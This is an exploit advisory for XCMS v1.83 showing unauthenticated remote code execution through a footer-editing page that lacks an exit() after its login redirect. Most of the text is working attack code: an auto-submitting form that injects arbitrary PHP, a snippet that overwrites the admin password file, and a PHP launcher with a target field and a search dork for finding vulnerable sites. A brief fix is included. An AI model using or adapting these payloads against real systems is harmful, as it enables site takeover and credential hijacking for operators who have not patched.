XCMS v1.83 - Remote Command Execution (RCE)

Exploit Title:  XCMS v1.83 - Remote Command Execution (RCE)
Author: Onurcan
Email: onurcanalcan@gmail.com
Site: ihteam.net
Script Download :  http://www.xcms.it
Date:  26/12/2022

The xcms's footer(that is in "/dati/generali/footer.dtb") is included in each page of the xcms.
Taking "home.php" for example:
 
       <?php
         //home.php
         [...]
         include(CSTR."footer".STR); // <- "CSTR" and "STR" are the constants previously declared. They refers to "/dati/generali" and "dtb"
       ?>

So the xcms allow you to modify the footer throught a bugged page called cpie.php included in the admin panel.
So let's take a look to the bugged code.

       <?php
         //cpie.php
         [...]
         if(isset($_SESSION['logadmin'])===false){ header("location:index.php"); } // <- so miss an exit() :-D
         [...]
         if(isset($_POST['salva'])){
            Scrivi(CGEN."footer".DTB,stripslashes($_POST['testo_0'])); // <- save the changements without any kind of control
         } 
         [...]
       ?>
       
So with a simple html form we can change the footer.
Ex:

        <form name="editor" action="http://[SITE_WITH_XCMS]/index.php?lng=it&pg=admin&s=cpie" method="post">
        <input type="hidden" name="salva" value="OK" />
        <textarea name="testo_0"><?php YOUR PHP CODE ?></textarea>
        <input type="submit" value="Modifica" />
        </form>
        <script>document.editor.submit()</script>
        
        Note: This is NOT a CSRF, this is just an example to change the footer without the admin credentials.
 
 
       
Trick: We can change the admin panel password by inserting this code in the footer:
      
       <?php
       $pwd = "owned"; // <- Place here your new password.
       $pwd2 = md5($pwd);
       unlink("dati/generali/pass.php");
	   $f = fopen("dati/generali/pass.php",w);
       fwrite($f,"<?php \$mdp = \"$pwd2\"; ?>");
       fclose($f);
       ?>
       
This code delete the old password file and then create a new one with your new password.


Fix:
  
        <?php
         //cpie.php
         [...]
         if(isset($_SESSION['logadmin'])===false){ header("location:index.php"); exit(); } // with an exit() we can fix the bug.
         [...]
         if(isset($_POST['salva'])){
            Scrivi(CGEN."footer".DTB,stripslashes($_POST['testo_0'])); // <- save the changements without any kind of control
         } 
         [...]
       ?>

So this is a simple exploit:


<?php
if(isset($_POST['send']) and isset($_POST['code']) and isset($_POST['site'])){
echo "
<form name=\"editor\" action=\"http://".$_POST['site']."/index.php?lng=it&pg=admin&s=cpie\" method=\"post\">
<input type=\"hidden\" name=\"salva\" value=\"OK\" />
<textarea name=\"testo_0\">".$_POST['code']."</textarea>
<input type=\"submit\" value=\"Modifica\" />
</form>
<script>document.editor.submit()</script>";
}else{
echo"
<pre>
XCMS <= v1.82 Remote Command Execution Vulnerability
Dork  :  inurl:\"mod=notizie\"
by Onurcan
Visit ihteam.net
</pre>
<form method=POST action=".$_POST['PHP_SELF'].">
<pre>
Site     :
<input type=text name=site />
Code     :
<textarea name=code cols=49 rows=14>Your code here</textarea>
<input type=submit value=Exploit />
<input type=hidden name=\"send\" />
</pre>
</form>";	  
}		
?>